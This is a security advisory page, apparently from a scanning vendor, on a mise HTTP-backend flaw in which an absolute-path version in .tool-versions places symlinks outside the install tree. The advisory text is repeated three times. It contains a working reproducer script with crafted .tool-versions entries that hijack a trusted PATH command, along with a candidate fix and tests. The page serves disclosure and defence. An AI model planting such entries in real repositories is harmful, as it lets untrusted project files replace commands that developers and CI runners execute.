## Summary The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, `PathBuf::join` discards the intended mise installs root. A repository-controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. With `bin_path`, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to `PATH`. The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local `PATH` prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted `PATH` command. ## Affected Code In `src/backend/http.rs`, `create_install_symlink()` derives the destination path from raw `tv.version`: ```rust let version_name = if tv.version == "latest" || tv.version.is_empty() { &cache_key[..7.min(cache_key.len())] } else { &tv.version }; let install_path = tv.ba().installs_path.join(version_name); ``` `ToolVersion::tv_pathname()` already sanitizes `:` and `/` for filesystem version directory names, but this HTTP backend path does not use it. ## Impact Proven: - Outside-root symlink creation from a repository-controlled `.tool-versions` entry. - Executable symlink materialization under an attacker-selected absolute prefix when `bin_path` is configured. - The executable symlink can be run if that prefix's `bin` directory is on `PATH`. - Replacement of a preexisting command in a trusted `PATH` prefix in a local workflow-chain model, followed by execution of the replaced command by name. Not claimed: - `mise install` does not automatically execute the placed binary in the reproducer. - Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior. - Credential theft is not claimed. ## Why This Crosses A Boundary `.tool-versions` is an asdf-compatible project file and is parsed without the `mise.toml` trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation. The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example: ```text $MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/... ``` The observed behavior instead allows the project version string to choose an absolute install destination. ## Reproduction The script below performs three local checks: 1. It creates a `.tool-versions` entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path. 2. It creates a second HTTP backend entry with `bin_path=bin` and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's `bin` directory is on `PATH`. 3. It creates a preexisting trusted command in a user-local `PATH` prefix, runs `mise install` from a project `.tool-versions` file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place. The script uses a loopback HTTP server and temporary directories only. ```sh #!/bin/sh set -eu if ! command -v mise >/dev/null 2>&1; then echo "mise must be on PATH" >&2 exit 1 fi if ! command -v python3 >/dev/null 2>&1; then echo "python3 must be on PATH for the loopback HTTP server" >&2 exit 1 fi ROOT="$(mktemp -d)" OUT="$ROOT/out" DATA="$ROOT/data" CACHE="$ROOT/cache" STATE="$ROOT/state" CONFIG="$ROOT/config" WWW="$ROOT/www" cleanup() { if [ -n "${SERVER_PID:-}" ]; then kill "$SERVER_PID" 2>/dev/null || true fi rm -rf "$ROOT" } trap cleanup EXIT mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW" cat > "$WWW/payload" <<'PAYLOAD' #!/bin/sh if [ -n "${CHAIN_MARKER:-}" ]; then echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER" else echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER" fi PAYLOAD chmod +x "$WWW/payload" ( cd "$WWW" python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1 ) & SERVER_PID=$! sleep 1 PROJECT1="$ROOT/project-host-write" mkdir -p "$PROJECT1" cat > "$PROJECT1/.tool-versions" <<EOF1 http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link EOF1 ( cd "$PROJECT1" MISE_DATA_DIR="$DATA" \ MISE_CACHE_DIR="$CACHE" \ MISE_STATE_DIR="$STATE" \ MISE_CONFIG_DIR="$CONFIG" \ MISE_YES=1 \ mise install --yes ) if [ ! -L "$OUT/owned-link" ]; then echo "FAIL: outside symlink was not created" >&2 exit 1 fi PROJECT2="$ROOT/project-bin-path" mkdir -p "$PROJECT2" cat > "$PROJECT2/.tool-versions" <<EOF2 http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix EOF2 rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG" mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG" ( cd "$PROJECT2" MISE_DATA_DIR="$DATA" \ MISE_CACHE_DIR="$CACHE" \ MISE_STATE_DIR="$STATE" \ MISE_CONFIG_DIR="$CONFIG" \ MISE_YES=1 \ mise install --yes ) if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then echo "FAIL: executable symlink was not created under selected prefix" >&2 exit 1 fi MARKER="$OUT/executed-marker" MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \ PATH="$OUT/selected-prefix/bin:$PATH" \ ownedcmd if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then echo "FAIL: executable symlink did not run" >&2 exit 1 fi echo "VULNERABLE_BEHAVIOR_CONFIRMED" echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")" echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")" run_path_chain_case() { case_name="$1" version="$2" expected="$3" CASE_ROOT="$ROOT/$case_name" HOME_DIR="$CASE_ROOT/home" CASE_DATA="$CASE_ROOT/data" CASE_CACHE="$CASE_ROOT/cache" CASE_STATE="$CASE_ROOT/state" CASE_CONFIG="$CASE_ROOT/config" CASE_PROJECT="$CASE_ROOT/project" CASE_MARKER="$CASE_ROOT/marker" if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then version="$HOME_DIR/.local" fi mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT" cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE' #!/bin/sh echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER" SAFE chmod +x "$HOME_DIR/.local/bin/trustedcmd" cat > "$CASE_PROJECT/.tool-versions" <<EOF3 http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version EOF3 ( cd "$CASE_PROJECT" HOME="$HOME_DIR" \ MISE_DATA_DIR="$CASE_DATA" \ MISE_CACHE_DIR="$CASE_CACHE" \ MISE_STATE_DIR="$CASE_STATE" \ MISE_CONFIG_DIR="$CASE_CONFIG" \ MISE_YES=1 \ mise install --yes ) CHAIN_MARKER="$CASE_MARKER" \ PATH="$HOME_DIR/.local/bin:$PATH" \ trustedcmd observed="$(cat "$CASE_MARKER")" if [ "$observed" != "$expected" ]; then echo "FAIL: $case_name expected $expected but saw $observed" >&2 exit 1 fi if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2 exit 1 fi } run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND echo "PATH_CHAIN_CONFIRMED" ``` Expected vulnerable markers: ```text VULNERABLE_BEHAVIOR_CONFIRMED PATH_CHAIN_CONFIRMED ``` ## Candidate Fix Use `tv.tv_pathname()` for non-latest HTTP install symlink names, preserving the current content-addressed behavior for `latest` or empty versions. ```diff diff --git a/src/backend/http.rs b/src/backend/http.rs index 4e4e972..18cf8a1 100644 --- a/src/backend/http.rs +++ b/src/backend/http.rs @@ -518,12 +518,12 @@ impl HttpBackend { // Determine version name for install path let version_name = if tv.version == "latest" || tv.version.is_empty() { - &cache_key[..7.min(cache_key.len())] // Content-based versioning + cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning } else { - &tv.version + tv.tv_pathname() }; - let install_path = tv.ba().installs_path.join(version_name); + let install_path = tv.ba().installs_path.join(&version_name); // Clean up existing install if install_path.exists() { @@ -839,3 +839,51 @@ impl Backend for HttpBackend { } } } + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::args::{BackendArg, BackendResolution}; + use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions}; + + fn http_test_tv(version: &str) -> ToolVersion { + let backend = Arc::new(BackendArg::new_raw( + "http-absolute-version".to_string(), + Some("http:absolute-version".to_string()), + "absolute-version".to_string(), + None, + BackendResolution::new(true), + )); + let request = ToolRequest::Version { + backend, + version: version.to_string(), + options: ToolVersionOptions::default(), + source: ToolSource::Argument, + }; + ToolVersion::new(request, version.to_string()) + } + + #[test] + fn install_symlink_path_uses_sanitized_version_pathname() { + let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix"); + + assert_eq!( + tv.tv_pathname(), + "-outside-root-mise-http-version-out-selected-prefix" + ); + assert!(!Path::new(&tv.tv_pathname()).is_absolute()); + } + + #[test] + fn latest_install_symlink_still_uses_content_version() { + let tv = http_test_tv("latest"); + let cache_key = "abcdef123456"; + let version_name = if tv.version == "latest" || tv.version.is_empty() { + cache_key[..7.min(cache_key.len())].to_string() + } else { + tv.tv_pathname() + }; + + assert_eq!(version_name, "abcdef1"); + } +} ``` Reporter: JUNYI LIU
## Summary The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, `PathBuf::join` discards the intended mise installs root. A repository-controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. With `bin_path`, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to `PATH`. The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local `PATH` prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted `PATH` command. ## Affected Code In `src/backend/http.rs`, `create_install_symlink()` derives the destination path from raw `tv.version`: ```rust let version_name = if tv.version == "latest" || tv.version.is_empty() { &cache_key[..7.min(cache_key.len())] } else { &tv.version }; let install_path = tv.ba().installs_path.join(version_name); ``` `ToolVersion::tv_pathname()` already sanitizes `:` and `/` for filesystem version directory names, but this HTTP backend path does not use it. ## Impact Proven: - Outside-root symlink creation from a repository-controlled `.tool-versions` entry. - Executable symlink materialization under an attacker-selected absolute prefix when `bin_path` is configured. - The executable symlink can be run if that prefix's `bin` directory is on `PATH`. - Replacement of a preexisting command in a trusted `PATH` prefix in a local workflow-chain model, followed by execution of the replaced command by name. Not claimed: - `mise install` does not automatically execute the placed binary in the reproducer. - Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior. - Credential theft is not claimed. ## Why This Crosses A Boundary `.tool-versions` is an asdf-compatible project file and is parsed without the `mise.toml` trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation. The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example: ```text $MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/... ``` The observed behavior instead allows the project version string to choose an absolute install destination. ## Reproduction The script below performs three local checks: 1. It creates a `.tool-versions` entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path. 2. It creates a second HTTP backend entry with `bin_path=bin` and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's `bin` directory is on `PATH`. 3. It creates a preexisting trusted command in a user-local `PATH` prefix, runs `mise install` from a project `.tool-versions` file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place. The script uses a loopback HTTP server and temporary directories only. ```sh #!/bin/sh set -eu if ! command -v mise >/dev/null 2>&1; then echo "mise must be on PATH" >&2 exit 1 fi if ! command -v python3 >/dev/null 2>&1; then echo "python3 must be on PATH for the loopback HTTP server" >&2 exit 1 fi ROOT="$(mktemp -d)" OUT="$ROOT/out" DATA="$ROOT/data" CACHE="$ROOT/cache" STATE="$ROOT/state" CONFIG="$ROOT/config" WWW="$ROOT/www" cleanup() { if [ -n "${SERVER_PID:-}" ]; then kill "$SERVER_PID" 2>/dev/null || true fi rm -rf "$ROOT" } trap cleanup EXIT mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW" cat > "$WWW/payload" <<'PAYLOAD' #!/bin/sh if [ -n "${CHAIN_MARKER:-}" ]; then echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER" else echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER" fi PAYLOAD chmod +x "$WWW/payload" ( cd "$WWW" python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1 ) & SERVER_PID=$! sleep 1 PROJECT1="$ROOT/project-host-write" mkdir -p "$PROJECT1" cat > "$PROJECT1/.tool-versions" <<EOF1 http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link EOF1 ( cd "$PROJECT1" MISE_DATA_DIR="$DATA" \ MISE_CACHE_DIR="$CACHE" \ MISE_STATE_DIR="$STATE" \ MISE_CONFIG_DIR="$CONFIG" \ MISE_YES=1 \ mise install --yes ) if [ ! -L "$OUT/owned-link" ]; then echo "FAIL: outside symlink was not created" >&2 exit 1 fi PROJECT2="$ROOT/project-bin-path" mkdir -p "$PROJECT2" cat > "$PROJECT2/.tool-versions" <<EOF2 http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix EOF2 rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG" mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG" ( cd "$PROJECT2" MISE_DATA_DIR="$DATA" \ MISE_CACHE_DIR="$CACHE" \ MISE_STATE_DIR="$STATE" \ MISE_CONFIG_DIR="$CONFIG" \ MISE_YES=1 \ mise install --yes ) if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then echo "FAIL: executable symlink was not created under selected prefix" >&2 exit 1 fi MARKER="$OUT/executed-marker" MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \ PATH="$OUT/selected-prefix/bin:$PATH" \ ownedcmd if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then echo "FAIL: executable symlink did not run" >&2 exit 1 fi echo "VULNERABLE_BEHAVIOR_CONFIRMED" echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")" echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")" run_path_chain_case() { case_name="$1" version="$2" expected="$3" CASE_ROOT="$ROOT/$case_name" HOME_DIR="$CASE_ROOT/home" CASE_DATA="$CASE_ROOT/data" CASE_CACHE="$CASE_ROOT/cache" CASE_STATE="$CASE_ROOT/state" CASE_CONFIG="$CASE_ROOT/config" CASE_PROJECT="$CASE_ROOT/project" CASE_MARKER="$CASE_ROOT/marker" if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then version="$HOME_DIR/.local" fi mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT" cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE' #!/bin/sh echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER" SAFE chmod +x "$HOME_DIR/.local/bin/trustedcmd" cat > "$CASE_PROJECT/.tool-versions" <<EOF3 http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version EOF3 ( cd "$CASE_PROJECT" HOME="$HOME_DIR" \ MISE_DATA_DIR="$CASE_DATA" \ MISE_CACHE_DIR="$CASE_CACHE" \ MISE_STATE_DIR="$CASE_STATE" \ MISE_CONFIG_DIR="$CASE_CONFIG" \ MISE_YES=1 \ mise install --yes ) CHAIN_MARKER="$CASE_MARKER" \ PATH="$HOME_DIR/.local/bin:$PATH" \ trustedcmd observed="$(cat "$CASE_MARKER")" if [ "$observed" != "$expected" ]; then echo "FAIL: $case_name expected $expected but saw $observed" >&2 exit 1 fi if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2 exit 1 fi } run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND echo "PATH_CHAIN_CONFIRMED" ``` Expected vulnerable markers: ```text VULNERABLE_BEHAVIOR_CONFIRMED PATH_CHAIN_CONFIRMED ``` ## Candidate Fix Use `tv.tv_pathname()` for non-latest HTTP install symlink names, preserving the current content-addressed behavior for `latest` or empty versions. ```diff diff --git a/src/backend/http.rs b/src/backend/http.rs index 4e4e972..18cf8a1 100644 --- a/src/backend/http.rs +++ b/src/backend/http.rs @@ -518,12 +518,12 @@ impl HttpBackend { // Determine version name for install path let version_name = if tv.version == "latest" || tv.version.is_empty() { - &cache_key[..7.min(cache_key.len())] // Content-based versioning + cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning } else { - &tv.version + tv.tv_pathname() }; - let install_path = tv.ba().installs_path.join(version_name); + let install_path = tv.ba().installs_path.join(&version_name); // Clean up existing install if install_path.exists() { @@ -839,3 +839,51 @@ impl Backend for HttpBackend { } } } + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::args::{BackendArg, BackendResolution}; + use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions}; + + fn http_test_tv(version: &str) -> ToolVersion { + let backend = Arc::new(BackendArg::new_raw( + "http-absolute-version".to_string(), + Some("http:absolute-version".to_string()), + "absolute-version".to_string(), + None, + BackendResolution::new(true), + )); + let request = ToolRequest::Version { + backend, + version: version.to_string(), + options: ToolVersionOptions::default(), + source: ToolSource::Argument, + }; + ToolVersion::new(request, version.to_string()) + } + + #[test] + fn install_symlink_path_uses_sanitized_version_pathname() { + let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix"); + + assert_eq!( + tv.tv_pathname(), + "-outside-root-mise-http-version-out-selected-prefix" + ); + assert!(!Path::new(&tv.tv_pathname()).is_absolute()); + } + + #[test] + fn latest_install_symlink_still_uses_content_version() { + let tv = http_test_tv("latest"); + let cache_key = "abcdef123456"; + let version_name = if tv.version == "latest" || tv.version.is_empty() { + cache_key[..7.min(cache_key.len())].to_string() + } else { + tv.tv_pathname() + }; + + assert_eq!(version_name, "abcdef1"); + } +} ``` Reporter: JUNYI LIU
Update mise to 2026.6.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanmise HTTP backend uses raw version path for install symlink destination affects mise (rust). Severity is medium. ## Summary The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, `PathBuf::join` discards the intended mise installs root. A repository-controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. With `bin_path`, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to `PATH`. The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local `PATH` prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted `PATH` command. ## Affected Code In `src/backend/http.rs`, `create_install_symlink()` derives the destination path from raw `tv.version`: ```rust let version_name = if tv.version == "latest" || tv.version.is_empty() { &cache_key[..7.min(cache_key.len())] } else { &tv.version }; let install_path = tv.ba().installs_path.join(version_name); ``` `ToolVersion::tv_pathname()` already sanitizes `:` and `/` for filesystem version directory names, but this HTTP backend path does not use it. ## Impact Proven: - Outside-root symlink creation from a repository-controlled `.tool-versions` entry. - Executable symlink materialization under an attacker-selected absolute prefix when `bin_path` is configured. - The executable symlink can be run if that prefix's `bin` directory is on `PATH`. - Replacement of a preexisting command in a trusted `PATH` prefix in a local workflow-chain model, followed by execution of the replaced command by name. Not claimed: - `mise install` does not automatically execute the placed binary in the reproducer. - Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior. - Credential theft is not claimed. ## Why This Crosses A Boundary `.tool-versions` is an asdf-compatible project file and is parsed without the `mise.toml` trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation. The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example: ```text $MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/... ``` The observed behavior instead allows the project version string to choose an absolute install destination. ## Reproduction The script below performs three local checks: 1. It creates a `.tool-versions` entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path. 2. It creates a second HTTP backend entry with `bin_path=bin` and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's `bin` directory is on `PATH`. 3. It creates a preexisting trusted command in a user-local `PATH` prefix, runs `mise install` from a project `.tool-versions` file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place. The script uses a loopback HTTP server and temporary directories only. ```sh #!/bin/sh set -eu if ! command -v mise >/dev/null 2>&1; then echo "mise must be on PATH" >&2 exit 1 fi if ! command -v python3 >/dev/null 2>&1; then echo "python3 must be on PATH for the loopback HTTP server" >&2 exit 1 fi ROOT="$(mktemp -d)" OUT="$ROOT/out" DATA="$ROOT/data" CACHE="$ROOT/cache" STATE="$ROOT/state" CONFIG="$ROOT/config" WWW="$ROOT/www" cleanup() { if [ -n "${SERVER_PID:-}" ]; then kill "$SERVER_PID" 2>/dev/null || true fi rm -rf "$ROOT" } trap cleanup EXIT mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW" cat > "$WWW/payload" <<'PAYLOAD' #!/bin/sh if [ -n "${CHAIN_MARKER:-}" ]; then echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER" else echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER" fi PAYLOAD chmod +x "$WWW/payload" ( cd "$WWW" python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1 ) & SERVER_PID=$! sleep 1 PROJECT1="$ROOT/project-host-write" mkdir -p "$PROJECT1" cat > "$PROJECT1/.tool-versions" <<EOF1 http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link EOF1 ( cd "$PROJECT1" MISE_DATA_DIR="$DATA" \ MISE_CACHE_DIR="$CACHE" \ MISE_STATE_DIR="$STATE" \ MISE_CONFIG_DIR="$CONFIG" \ MISE_YES=1 \ mise install --yes ) if [ ! -L "$OUT/owned-link" ]; then echo "FAIL: outside symlink was not created" >&2 exit 1 fi PROJECT2="$ROOT/project-bin-path" mkdir -p "$PROJECT2" cat > "$PROJECT2/.tool-versions" <<EOF2 http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix EOF2 rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG" mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG" ( cd "$PROJECT2" MISE_DATA_DIR="$DATA" \ MISE_CACHE_DIR="$CACHE" \ MISE_STATE_DIR="$STATE" \ MISE_CONFIG_DIR="$CONFIG" \ MISE_YES=1 \ mise install --yes ) if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then echo "FAIL: executable symlink was not created under selected prefix" >&2 exit 1 fi MARKER="$OUT/executed-marker" MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \ PATH="$OUT/selected-prefix/bin:$PATH" \ ownedcmd if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then echo "FAIL: executable symlink did not run" >&2 exit 1 fi echo "VULNERABLE_BEHAVIOR_CONFIRMED" echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")" echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")" run_path_chain_case() { case_name="$1" version="$2" expected="$3" CASE_ROOT="$ROOT/$case_name" HOME_DIR="$CASE_ROOT/home" CASE_DATA="$CASE_ROOT/data" CASE_CACHE="$CASE_ROOT/cache" CASE_STATE="$CASE_ROOT/state" CASE_CONFIG="$CASE_ROOT/config" CASE_PROJECT="$CASE_ROOT/project" CASE_MARKER="$CASE_ROOT/marker" if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then version="$HOME_DIR/.local" fi mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT" cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE' #!/bin/sh echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER" SAFE chmod +x "$HOME_DIR/.local/bin/trustedcmd" cat > "$CASE_PROJECT/.tool-versions" <<EOF3 http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version EOF3 ( cd "$CASE_PROJECT" HOME="$HOME_DIR" \ MISE_DATA_DIR="$CASE_DATA" \ MISE_CACHE_DIR="$CASE_CACHE" \ MISE_STATE_DIR="$CASE_STATE" \ MISE_CONFIG_DIR="$CASE_CONFIG" \ MISE_YES=1 \ mise install --yes ) CHAIN_MARKER="$CASE_MARKER" \ PATH="$HOME_DIR/.local/bin:$PATH" \ trustedcmd observed="$(cat "$CASE_MARKER")" if [ "$observed" != "$expected" ]; then echo "FAIL: $case_name expected $expected but saw $observed" >&2 exit 1 fi if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2 exit 1 fi } run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND echo "PATH_CHAIN_CONFIRMED" ``` Expected vulnerable markers: ```text VULNERABLE_BEHAVIOR_CONFIRMED PATH_CHAIN_CONFIRMED ``` ## Candidate Fix Use `tv.tv_pathname()` for non-latest HTTP install symlink names, preserving the current content-addressed behavior for `latest` or empty versions. ```diff diff --git a/src/backend/http.rs b/src/backend/http.rs index 4e4e972..18cf8a1 100644 --- a/src/backend/http.rs +++ b/src/backend/http.rs @@ -518,12 +518,12 @@ impl HttpBackend { // Determine version name for install path let version_name = if tv.version == "latest" || tv.version.is_empty() { - &cache_key[..7.min(cache_key.len())] // Content-based versioning + cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning } else { - &tv.version + tv.tv_pathname() }; - let install_path = tv.ba().installs_path.join(version_name); + let install_path = tv.ba().installs_path.join(&version_name); // Clean up existing install if install_path.exists() { @@ -839,3 +839,51 @@ impl Backend for HttpBackend { } } } + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::args::{BackendArg, BackendResolution}; + use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions}; + + fn http_test_tv(version: &str) -> ToolVersion { + let backend = Arc::new(BackendArg::new_raw( + "http-absolute-version".to_string(), + Some("http:absolute-version".to_string()), + "absolute-version".to_string(), + None, + BackendResolution::new(true), + )); + let request = ToolRequest::Version { + backend, + version: version.to_string(), + options: ToolVersionOptions::default(), + source: ToolSource::Argument, + }; + ToolVersion::new(request, version.to_string()) + } + + #[test] + fn install_symlink_path_uses_sanitized_version_pathname() { + let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix"); + + assert_eq!( + tv.tv_pathname(), + "-outside-root-mise-http-version-out-selected-prefix" + ); + assert!(!Path::new(&tv.tv_pathname()).is_absolute()); + } + + #[test] + fn latest_install_symlink_still_uses_content_version() { + let tv = http_test_tv("latest"); + let cache_key = "abcdef123456"; + let version_name = if tv.version == "latest" || tv.version.is_empty() { + cache_key[..7.min(cache_key.len())].to_string() + } else { + tv.tv_pathname() + }; + + assert_eq!(version_name, "abcdef1"); + } +} ``` Reporter: JUNYI LIU
AI coding agents often install or upgrade packages automatically in rust. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| miserust | <=2026.5.16 | 2026.6.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate mise to 2026.6.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
